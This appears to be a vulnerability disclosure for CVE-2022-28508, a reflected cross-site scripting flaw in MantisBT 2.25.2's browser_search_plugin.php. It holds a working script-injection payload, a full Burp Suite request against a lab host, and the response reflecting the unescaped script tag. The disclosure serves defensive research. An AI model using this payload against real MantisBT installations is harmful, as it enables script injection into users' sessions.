CVE-2022-28508 / MantisBT 2.25.2 XSS vulnurability

YavuzSahbaz Create MantisBT 2.25.2 XSS vulnurability

History

1 contributor

51 lines (40 sloc) | 2.05 KB

```
1
2
3   EFFECTIFE PAGE
4
5   /man/browser_search_plugin.php
6
7   VERSION
8
9   2.25.2
10
11  EXAMPLE PAYLOAD
12
13  "()%26%25<acx><ScRiPt%20>N8Zn(9266)</ScRiPt>
14
15
16  BURPSUIT REQUEST
17
18
19  > HTTP REQUESTS WITH BURPSUIT --------------
20  > GET
21  > /man/browser_search_plugin.php?type=text'"()%26%25<acx><ScRiPt%20>N8Zn(9266)</ScRiPt>
22  > HTTP/1.1 Referer: http://192.168.1.4/man/ Cookie:
23  > PHPSESSID=hp7p9olp8rq01ramfa6li7nn0j; MANTIS_secure_session=1 Accept:
24  > text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
25  > Accept-Encoding: gzip,deflate,br User-Agent: Mozilla/5.0 (Windows NT
26  > 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
27  > Chrome/92.0.4512.0 Safari/537.36 Host: 192.168.1.4 Connection:
28  > Keep-alive
29  > HTTP RESPONSE WITH BURP SUITE
```

```
> HTTP/1.1 200 OK Date: Tue, 29 Mar 2022 02:30:55 GMT Server:
> Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache,
> must-revalidate Last-Modified: Tue, 29 Mar 2022 02:30:55 GMT
> X-Content-Type-Options: nosniff Expires: Tue, 29 Mar 2022 02:30:55 GMT
> X-Frame-Options: DENY Content-Security-Policy: default-src 'self';
> frame-ancestors 'none'; style-src 'self' 'unsafe-inline'; script-src
> 'self'; img-src 'self' 'self' data: Vary: Accept-Encoding
> Content-Length: 771 Keep-Alive: timeout=5, max=93 Connection:
> Keep-Alive Content-Type: application/opensearchdescription+xml
> Original-Content-Encoding: gzip
> <?xml version="1.0" encoding="UTF-8" ?><OpenSearchDescription
> xmlns="http://a9.com/-/spec/opensearch/1.1/"
> xmlns:moz="http://www.mozilla.org/2006/browser/search/">
> \t<ShortName>opensearch_text'"()&acx><script
> >n8zn(9266)</script>_short</ShortName>
> \t<Description>opensearch_text'"()&acx><script
> >n8zn(9266)</script>_description</Description>
> \t<InputEncoding>UTF-8</InputEncoding> \t<Image width="16" height="16"
> type="image/x-icon">http://192.168.1.4/man/images/favicon.ico</Image>
> \t<Url type="text/html" method="GET"
> template="http://192.168.1.4/man/view_all_set.php?type=1&amp;temporary=y&amp;handler_id=[all]&am
> \t<moz:SearchForm>http://192.168.1.4/man/view_all_bug_page.php</moz:SearchForm>
```